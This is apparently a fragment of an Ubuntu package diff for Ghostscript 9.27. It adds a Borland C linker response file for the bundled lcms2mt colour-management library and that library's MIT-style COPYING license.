    --- 9.27~dfsg-3.1/lcms2mt/Projects/BorlandC_5.5/lcmsdll.lk 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/BorlandC_5.5/lcmsdll.lk 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,31 @@ +/x/aa/c/Tpd C0D32.OBJ+ +cmsalpha.obj+ +cmscam02.obj+ +cmscgats.obj+ +cmscnvrt.obj+ +cmserr.obj+ +cmsgamma.obj+ +cmsgmt.obj+ +cmshalf.obj+ +cmsintrp.obj+ +cmsio0.obj+ +cmsio1.obj+ +cmslut.obj+ +cmsmd5.obj+ +cmsmtrx.obj+ +cmsnamed.obj+ +cmsopt.obj+ +cmspack.obj+ +cmspcs.obj+ +cmsplugin.obj+ +cmsps2.obj+ +cmssamp.obj+ +cmssm.obj+ +cmstypes.obj+ +cmsvirt.obj+ +cmswtpnt.obj+ +cmsxform.obj +..\..\bin\lcms2.dll + +cw32mt.lib import32.lib +..\..\src\lcms2.def \ No newline at end of file
  100. Download patch lcms2mt/COPYING

    --- 9.27~dfsg-3.1/lcms2mt/COPYING 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/COPYING 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,8 @@ +Little CMS +Copyright (c) 1998-2011 Marti Maria Saguer + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
  101. ...
  1. ghostscript